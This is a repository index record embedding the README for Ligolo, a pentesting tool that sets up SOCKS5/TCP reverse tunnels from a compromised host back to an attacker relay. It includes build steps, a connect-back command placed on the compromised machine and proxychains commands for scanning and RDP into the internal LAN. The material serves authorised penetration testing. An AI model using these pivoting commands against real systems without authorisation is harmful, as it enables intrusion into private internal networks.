{"id":13629580,"url":"https://github.com/sysdream/ligolo","last_synced_at":"2026-02-22T01:42:32.407Z","repository":{"id":45226620,"uuid":"266052652","full_name":"sysdream/ligolo","owner":"sysdream","description":"Reverse Tunneling made easy for pentesters, by pentesters https://sysdream.com/","archived":false,"fork":false,"pushed_at":"2023-01-06T19:49:22.000Z","size":1128,"stargazers_count":1762,"open_issues_count":8,"forks_count":222,"subscribers_count":35,"default_branch":"master","last_synced_at":"2025-04-17T23:06:05.085Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/sysdream.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-05-22T07:58:13.000Z","updated_at":"2025-04-17T16:19:49.000Z","dependencies_parsed_at":"2023-02-06T08:15:33.963Z","dependency_job_id":null,"html_url":"https://github.com/sysdream/ligolo","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/sysdream/ligolo","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fligolo","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fligolo/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fligolo/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fligolo/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/sysdream","download_url":"https://codeload.github.com/sysdream/ligolo/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/sysdream%2Fligolo/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":29703227,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-02-21T23:35:04.139Z","status":"ssl_error","status_checked_at":"2026-02-21T23:35:03.832Z","response_time":107,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T22:01:14.124Z","updated_at":"2026-02-22T01:42:32.386Z","avatar_url":"https://github.com/sysdream.png","language":"Go","funding_links":[],"categories":["Go","Go (531)"],"sub_categories":[],"readme":"# Ligolo : Reverse Tunneling made easy for pentesters, by pentesters\n\n[![forthebadge](https://forthebadge.com/images/badges/made-with-go.svg)](https://forthebadge.com)\n[![forthebadge](https://forthebadge.com/images/badges/gluten-free.svg)](https://forthebadge.com)\n\n![Ligolo](img/ligolo.png)\n\n\u003c!-- START doctoc generated TOC please keep comment here to allow auto update --\u003e\n\u003c!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE --\u003e\n## Table of Contents\n\n- [Introduction](#introduction)\n- [Use case](#use-case)\n- [Quick Demo](#quick-demo)\n- [Performance](#performance)\n- [Usage](#usage)\n  - [Setup / Compiling](#setup--compiling)\n  - [How to use?](#how-to-use)\n  - [TL;DR](#tldr)\n  - [Options](#options)\n- [Features](#features)\n- [To Do](#to-do)\n- [Licensing](#licensing)\n- [Credits](#credits)\n\n\u003c!-- END doctoc generated TOC please keep comment here to allow auto update --\u003e\n\n## Introduction\n\n**Ligolo** is a *simple* and *lightweight* tool for establishing *SOCKS5* or *TCP* tunnels from a reverse connection in complete safety (TLS certificate with elliptical curve).\n\nIt is comparable to *Meterpreter* with *Autoroute + Socks4a*, but more stable and faster.\n\n## Use case\n\nYou compromised a Windows / Linux / Mac server during your external audit. This server is located inside a LAN network and\nyou want to establish connections to other machines on this network.\n\n**Ligolo** can setup a tunnel to access internal server's resources.\n\n## Quick Demo\n\nRelay of a RDP connection using Proxychains (WAN).\n\n![RDP](img/rdesktop_example.gif)\n\n## Performance\n\nHere is a screenshot of a speedtest between two 100mb/s hosts (ligolo / localrelay). Performance may vary depending on the system and network configuration.\n\n![Speedtest](img/speedtest.png)\n\n## Usage\n\n### Setup / Compiling\n\nMake sure *Go* is installed and working.\n\n1. Get Ligolo and dependencies\n\n```\ncd `go env GOPATH`/src\ngit clone https://github.com/sysdream/ligolo\ncd ligolo\nmake dep\n```\n\n2. Generate self-signed TLS certificates (will be placed in the *certs* folder)\n\n```\nmake certs TLS_HOST=example.com\n```\n\nNOTE: You can also use your own certificates by using the `TLS_CERT` make option when calling *build*. Example: `make build-all TLS_CERT=certs/mycert.pem`.\n\n3. Build\n\n* 3.1. For all architectures\n\n```\nmake build-all\n```\n\n* 3.2. (or) For the current architecture\n\n```\nmake build\n```\n\n### How to use?\n\n*Ligolo* consists of two modules:\n\n- localrelay\n- ligolo\n\n*Localrelay* is intended to be launched on the control server (the attacker server).\n\n*Ligolo* is the program to run on the target computer.\n\nFor *localrelay*, you can leave the default options. It will listen on every interface on port 5555 and wait for connections from *ligolo* (`-relayserver` parameter).\n\nFor *ligolo*, you must specify the IP address of the relay server (or your attack server) using the `-relayserver ip:port` parameter.\n\nYou can use the `-h` option for help.\n\nOnce the connection has been established between *Ligolo* and *LocalRelay*, a *SOCKS5* proxy will be set up on TCP port `1080` on the relay server (you can change the TCP address/port using the *-localserver* option).\n\nAfter that, all you have to do is use your favorite tool (Proxychains for example), and explore the client's LAN network.\n\n### TL;DR\n\nOn your attack server.\n\n```\n./bin/localrelay_linux_amd64\n```\n\nOn the compromise host.\n\n```\n\u003e ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555\n```\n\nOnce the connection is established, set the following parameters on the ProxyChains config file (On the attack server):\n\n```\n[ProxyList]\n# add proxy here ...\n# meanwile\n# defaults set to \"tor\"\nsocks5     127.0.0.1 1080\n```\n\nProfit.\n\n```\n$ proxychains nmap -sT 10.0.0.0/24 -p 80 -Pn -A\n$ proxychains rdesktop 10.0.0.123\n```\n\n### Options\n\n*Localrelay* options:\n\n```\nUsage of localrelay:\n  -certfile string\n    \tThe TLS server certificate (default \"certs/server.crt\")\n  -keyfile string\n    \tThe TLS server key (default \"certs/server.key\")\n  -localserver string\n    \tThe local server address (your proxychains parameter) (default \"127.0.0.1:1080\")\n  -relayserver string\n    \tThe relay server listening address (the connect-back address) (default \"0.0.0.0:5555\")\n```\n\n*Ligolo* options:\n\n```\nUsage of ligolo:\n  -autorestart\n    \tAttempt to reconnect in case of an exception\n  -relayserver string\n    \tThe relay server (the connect-back address) (default \"127.0.0.1:5555\")\n  -skipverify\n    \tSkip TLS certificate pinning verification\n  -targetserver string\n    \tThe destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server\n```\n\n## Features\n\n- TLS 1.3 tunnel with TLS pinning\n- Multiplatforms (Windows / Linux / Mac / ...)\n- Multiplexing (1 TCP connection for all flows)\n- SOCKS5 proxy or simple relay\n\n## To Do\n\n- Better timeout handling\n- SOCKS5 UDP support\n- Implement mTLS\n\n## Licensing\n\nGNU General Public License v3.0 (See LICENSING).\n\n## Credits\n\n* Nicolas Chatelain \u003cn.chatelain -at- sysdream.com\u003e\n\n[![Sysdream](img/logo_sysdream.png)](https://sysdream.com)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsysdream%2Fligolo","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsysdream%2Fligolo","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsysdream%2Fligolo/lists"}